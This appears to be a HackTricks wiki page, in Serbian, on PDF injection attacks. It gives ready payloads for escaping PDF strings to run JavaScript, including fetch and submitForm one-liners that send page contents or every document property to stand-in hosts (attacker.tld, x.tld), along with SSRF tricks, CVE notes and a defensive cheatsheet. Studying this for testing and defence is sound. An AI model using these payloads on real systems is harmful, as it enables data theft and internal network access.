PDF Injection
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ako se vaš unos odražava unutar PDF datoteke, možete pokušati da injektujete PDF podatke kako biste izvršili JavaScript, izvršili SSRF ili ukrali sadržaj PDF-a. PDF sintaksa je izuzetno permisivna – ako možete da izađete iz stringa ili rečnika koji ugrađuje vaš unos, možete dodati potpuno nove objekte (ili nove ključeve u istom objektu) koje Acrobat/Chrome rado obrađuje. Od 2024. godine, talas izveštaja o greškama je pokazao da jedna neizbegnuta zagrada ili obrnutu kosu crtu je dovoljno za potpuno izvršavanje skripte.
TL;DR – Moderni Tok Napada (2024)
- Pronađite bilo koju vrednost koju kontroliše korisnik koja se završava unutar (stringa sa zagradama),
/URI ( … )
ili/JS ( … )
polja u generisanom PDF-u. - Injektujte
)
(zatvarajući string) nakon čega sledi jedan od primitiva ispod i završite sa još jednom otvorenom zagradom kako biste zadržali sintaksu validnom. - Dostavite zlonamerni PDF žrtvi (ili backend servisu koji automatski prikazuje datoteku – odlično za slepe greške).
- Vaš payload se izvršava u PDF pregledniku:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (vidi CVE-2024-4367)
- Acrobat → Potpuni JavaScript API (može eksfiltrirati proizvoljne sadržaje datoteka sa
this.getPageNthWord
)
Primer (otmica linka za anotaciju):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Prva )
zatvara originalni URI string, zatim dodajemo novi Action rečnik koji Acrobat izvršava kada korisnik klikne na link.
Korisne injekcione primitive
Cilj | Payload Snippet | Napomene |
---|---|---|
JavaScript na otvaranju | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Izvršava se odmah kada se dokument otvori (radi u Acrobat-u, ne u Chrome-u). |
JavaScript na linku | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Radi u PDFium-u i Acrobat-u ako kontrolišete /Link anotaciju. |
Slepa ekfiltracija podataka | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Kombinujte sa this.getPageNthWord unutar JS da ukradete sadržaj. |
Server-Side SSRF | Isto kao gore, ali ciljate internu URL adresu – odlično kada PDF renderuje back-office usluge koje poštuju /URI . | |
Prelom linije za nove objekte | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Ako biblioteka dozvoljava umetanje karaktera za novi red, možete kreirati potpuno nove objekte. |
Trik sa slepom enumeracijom
Gareth Heyes (PortSwigger) je objavio jedan-liner koji enumeriše svaki objekat unutar nepoznatog dokumenta – koristan kada ne možete videti generisani PDF:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Kod prolazi kroz Acrobat DOM i pravi izlazne zahteve za svaku par svojstvo/vrednost, dajući vam JSON-ish ispis datoteke. Pogledajte belešku “Portable Data exFiltration” za punu tehniku.
Real-World Bugs (2023-2025)
- CVE-2024-4367 – Arbitrarna JavaScript izvršenja u Firefox-ovom PDF.js pre 4.2.67 zaobišla je sandbox sa kreiranom
/JavaScript
akcijom. - Bug bounty 2024-05 – Veliki fintech je dozvolio beleške o fakturama koje su dostavili kupci, a koje su završile u
/URI
; izveštaj je plaćen $10k nakon demonstracije SSRF na internom metapodatkovnom hostu koristećifile:///
URI. - CVE-2023-26155 –
node-qpdf
komanda-injekcija putem nefiltrirane PDF putanje pokazuje važnost eskapiranja obrnutih kosa crta i zagrada čak i pre PDF sloja.
Defensive Cheatsheet
- Nikada ne spajajte sirovi korisnički unos unutar
(
…)
stringova ili imena. Eskapirajte\
,(
,)
kako zahteva §7.3 PDF specifikacije ili koristite heksadecimalne stringove<...>
. - Ako pravite linkove, preferirajte
/URI (https://…)
koje ste potpuno URL-enkodirali; blokirajtejavascript:
sheme u klijentskim preglednicima. - Uklonite ili validirajte
/OpenAction
,/AA
(dodatne akcije),/Launch
,/SubmitForm
i/ImportData
rečnike prilikom post-procesiranja PDF-ova. - Na serverskoj strani, renderujte nepouzdane PDF-ove sa headless konvertorom (npr. qpdf –decrypt –linearize) koji uklanja JavaScript i spoljne akcije.
- Održavajte PDF preglednike ažuriranim; PDF.js < 4.2.67 i Acrobat Reader pre jula 2024. zakrpe omogućavaju trivijalno izvršavanje koda.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (ažurirano maj 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.